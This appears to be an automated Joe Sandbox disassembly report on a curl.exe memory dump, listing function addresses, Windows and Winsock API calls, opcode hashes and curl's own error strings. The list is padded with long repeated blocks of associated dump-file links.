Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ApisByteCharErrorFileLastMultiWide
String ID:
API String ID: 1538486781-0
Opcode ID: 9c111bf50bde314ae9b621f150529ff32611babe1e4dc6b435812f4ff5191c8d
Instruction ID: a0ee1b9a626dfc17b85d6649c02009f4cdea643217152508824b881a28c75b1d
Opcode Fuzzy Hash: 9c111bf50bde314ae9b621f150529ff32611babe1e4dc6b435812f4ff5191c8d
Instruction Fuzzy Hash: 021181715A4616AFEB247FB09C49FBB779CEF14361B10462DFA41C5191EA71CC608B50

Function 002D0314 Relevance: 7.6, APIs: 5, Instructions: 74COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,002D02F1,?,00307FA8,0000000C,002D03D7,?,?,002C41C5,002CEE8B), ref: 002D0327
DecodePointer.KERNEL32(?,?,?,?,?,002D02F1,?,00307FA8,0000000C,002D03D7,?,?,002C41C5,002CEE8B), ref: 002D0332
EncodePointer.KERNEL32(00000000,?,?,?,?,?,002D02F1,?,00307FA8,0000000C,002D03D7,?,?,002C41C5,002CEE8B), ref: 002D0399
EncodePointer.KERNEL32(?,?,?,?,?,?,002D02F1,?,00307FA8,0000000C,002D03D7,?,?,002C41C5,002CEE8B), ref: 002D03A7
EncodePointer.KERNEL32(00000000,?,?,?,?,?,002D02F1,?,00307FA8,0000000C,002D03D7,?,?,002C41C5,002CEE8B), ref: 002D03B3

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Pointer$Encode$Decode
String ID:
API String ID: 1898114064-0
Opcode ID: b4ba81ce0af73fdb3cbdbe69491a9e7b1eb81f19fe9231ab1fe2ac1d8aa14574
Instruction ID: 7a6f1f81edbe6a39456d87427836391c455c830d124054c406fcfb48c0171b3d
Opcode Fuzzy Hash: b4ba81ce0af73fdb3cbdbe69491a9e7b1eb81f19fe9231ab1fe2ac1d8aa14574
Instruction Fuzzy Hash: EF11DF32A25615AFDB459B34ECC8E6A77ADEB04391F10056BE805D3321EB70EC908BA4

Function 002CEEAB Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 002CEEB0
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 002CEEE4
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,?,00000000,00000000), ref: 002CEF0A
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002CEF1E
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002CEF29

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: 7606fa2b98a1311d7608caf037c9dbd81c1ccf8b9f516fd35831d5772176142c
Instruction ID: 4288b555d82f26c6686cb09b70b8ceefb30a00ffdb426a18a5ee2f85c26dd859
Opcode Fuzzy Hash: 7606fa2b98a1311d7608caf037c9dbd81c1ccf8b9f516fd35831d5772176142c
Instruction Fuzzy Hash: 6A0184A2925657BBAF305FB56C4CD3B6BBCDA913A5316462EFC08D3140EA64CC5086B0

Function 001DF0B0 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,00000000,001D9016,00000000,001D93E0), ref: 001DF0C0
LeaveCriticalSection.KERNEL32(?,?,?,00000000,001D9016,00000000), ref: 001DF0D3
CloseHandle.KERNEL32(?,?,?,00000000,001D9016,00000000), ref: 001DF0DF
WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,?,?,00000000,001D9016,00000000), ref: 001DF0F2
CloseHandle.KERNEL32(?,?,?,00000000,001D9016,00000000), ref: 001DF0FA

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: CloseCriticalHandleSection$EnterLeaveObjectSingleWait
String ID:
API String ID: 607221738-0
Opcode ID: 74b6dfc00e7560501dfd518d76639674a876eb10487bbd496ec4b7f37d07ae20
Instruction ID: 6b610a6b6cb7e01fcb0d339911acb2fc82df722b82ed2219c629594c5e1bd0ea
Opcode Fuzzy Hash: 74b6dfc00e7560501dfd518d76639674a876eb10487bbd496ec4b7f37d07ae20
Instruction Fuzzy Hash: 89019E70501211EBDB209F54FC89B42BBB8FF00362F14816AF806CA265CB71E925CBA1

Function 001DF4C0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 154COMMON

Download Yara Rule

Strings

getaddrinfo() failed for %s:%d; %s, xrefs: 001DF652
init_resolve_thread() failed for %s; %s, xrefs: 001DF615

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID:
String ID: getaddrinfo() failed for %s:%d; %s$init_resolve_thread() failed for %s; %s
API String ID: 0-1389973398
Opcode ID: c14b2a4309168a3b30edf15dd00f01903b076f9cf31cfa9fde35c66cb3349e8f
Instruction ID: 6fed6da9dc312176728c3342a86cac9d335161b5477f002050f2935e8af92f98
Opcode Fuzzy Hash: c14b2a4309168a3b30edf15dd00f01903b076f9cf31cfa9fde35c66cb3349e8f
Instruction Fuzzy Hash: 834181716143059BCB04EF24D842AAFB7D9EFD8314F40462EF88997392EF74DA158B92

Function 001FC460 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 146COMMON

Download Yara Rule

Strings

FTP response aborted due to select/poll error: %d, xrefs: 001FC5CB
FTP response timeout, xrefs: 001FC5E9
We got a 421 - timeout!, xrefs: 001FC58C

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID:
String ID: FTP response aborted due to select/poll error: %d$FTP response timeout$We got a 421 - timeout!
API String ID: 0-2064316097
Opcode ID: a5447c63151ba3a1c7036ac34fd8cda009a8874f3a3995e797557501f2ec401c
Instruction ID: 82d9323fd2f50c850a5537993c81ef2e2852ea39d7a101c0247c6d36015fcb9b
Opcode Fuzzy Hash: a5447c63151ba3a1c7036ac34fd8cda009a8874f3a3995e797557501f2ec401c
Instruction Fuzzy Hash: 9441D271B043099FD718DF19D8406BAB3E1FBC8324F04463AFA5887391E734DA489B92

Function 001F8280 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

recvfrom.WS2_32(?,?,?,00000000,?,00000080), ref: 001F82CA

Strings

Internal error: Unexpected packet, xrefs: 001F8429
%s, xrefs: 001F83FF
Received too short packet, xrefs: 001F830C

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: recvfrom
String ID: %s$Internal error: Unexpected packet$Received too short packet
API String ID: 846543921-1418437813
Opcode ID: 0e919c5c6601fbb6e992e0140ad55034a7e13b0494c9e3aada830cd771710723
Instruction ID: c50733278f0c4f7c45e4cd8215e4384fbec492e59bb72833cbcee8352907258c
Opcode Fuzzy Hash: 0e919c5c6601fbb6e992e0140ad55034a7e13b0494c9e3aada830cd771710723
Instruction Fuzzy Hash: 6441F3706046058FD724DF25C841BBBB7E4FB85308F44852EF59AC7292DB39E809DB91

Function 001E5510 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 78networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 001E55A3

Strings

SSL_write() return error %d, xrefs: 001E55FA
SSL_write() error: %s, xrefs: 001E55DE
SSL_write() returned SYSCALL, errno = %d, xrefs: 001E55AA

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLast
String ID: SSL_write() error: %s$SSL_write() return error %d$SSL_write() returned SYSCALL, errno = %d
API String ID: 1452528299-1841518057
Opcode ID: cc8ac22ba481445adc6c4cbd5ff12dc5d5883c280885dafa3802ab14717d7f61
Instruction ID: 88d0702e28a60389c257eb2dc9d93ae3d252e70983b36e260dec1c3e85d8cd86
Opcode Fuzzy Hash: cc8ac22ba481445adc6c4cbd5ff12dc5d5883c280885dafa3802ab14717d7f61
Instruction Fuzzy Hash: DD210671A24640DBD724AB24DD417AEB3E9BF58314F400625F469872D2DB70A514CB52

Function 001CB930 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(APPDATA,00000400,00000400,?,?,_curlrc), ref: 001CB958
ExpandEnvironmentStringsA.KERNEL32(APPDATA,?,00000400,?,_curlrc), ref: 001CB98D

Strings

APPDATA, xrefs: 001CB953, 001CB972, 001CB98C
_curlrc, xrefs: 001CB944

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Environment$ExpandStringsVariable
String ID: APPDATA$_curlrc
API String ID: 2376774201-2304619060
Opcode ID: 882e8bb747715347cdd4ff4cfb8b8ff41e7e8786a6b4551cf7a3afc7ebb81bb7
Instruction ID: 4d630428f080e32ae1bc0921505dae2ec875602ab9d5405264fb258ce29c457b
Opcode Fuzzy Hash: 882e8bb747715347cdd4ff4cfb8b8ff41e7e8786a6b4551cf7a3afc7ebb81bb7
Instruction Fuzzy Hash: A611BCB29041505BD730A7109C87FFFB3D8EB54759F85442EEB49D3140EB34D9098792

Function 00205050 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000002,?), ref: 0020506E
WSACleanup.WS2_32 ref: 00205089

Strings

WSAStartup failed (%d), xrefs: 00205079
insufficient winsock version to support telnet, xrefs: 002050B6

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: CleanupStartup
String ID: WSAStartup failed (%d)$insufficient winsock version to support telnet
API String ID: 915672949-1763879679
Opcode ID: 0caae65b670913753d476f3cddaee3156520aab1ffe77c7034eb4cbd1805005b
Instruction ID: 8c99b2c4beb7c356d060cb4ed2ee724f5b1d9c63081a0cce516ac3ded95d6846
Opcode Fuzzy Hash: 0caae65b670913753d476f3cddaee3156520aab1ffe77c7034eb4cbd1805005b
Instruction Fuzzy Hash: 58F0D674A26A105BE720AB24AC57BFF33999F4A305F80401AFC8982383EA6549108AD3

Function 001DDE40 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 001DDE5E
WSAGetLastError.WS2_32(?,?,?,001DE0AE), ref: 001DDE68

Part of subcall function 001D23B0: GetLastError.KERNEL32(?,00000000,?,001DD974), ref: 001D23B7
Part of subcall function 001D23B0: GetLastError.KERNEL32(?,?,?,?,001DD974), ref: 001D246B
Part of subcall function 001D23B0: SetLastError.KERNEL32(00000000,?,?,?,?,001DD974), ref: 001D2476

Strings

TCP_NODELAY set, xrefs: 001DDE8A
Could not set TCP_NODELAY: %s, xrefs: 001DDE78

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLast$setsockopt
String ID: Could not set TCP_NODELAY: %s$TCP_NODELAY set
API String ID: 3136324617-1562148346
Opcode ID: 4e0c96c6f519e13e664bd65abd7934ff06d639df8c52958e0cadf4ab925f4b9a
Instruction ID: 08d7713076244acbcef4fd4025bc7fd1aa55ea6d134a99e5375ebf700db5aa32
Opcode Fuzzy Hash: 4e0c96c6f519e13e664bd65abd7934ff06d639df8c52958e0cadf4ab925f4b9a
Instruction Fuzzy Hash: F9F0E2F67022103AD6111721AC0ABEB679C8BD4762F10402BFA15C2281EB74AA115662

Function 00205310 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,00000003,00000000), ref: 0020533A
WSAGetLastError.WS2_32 ref: 00205344

Strings

Sending data failed (%d), xrefs: 0020534B
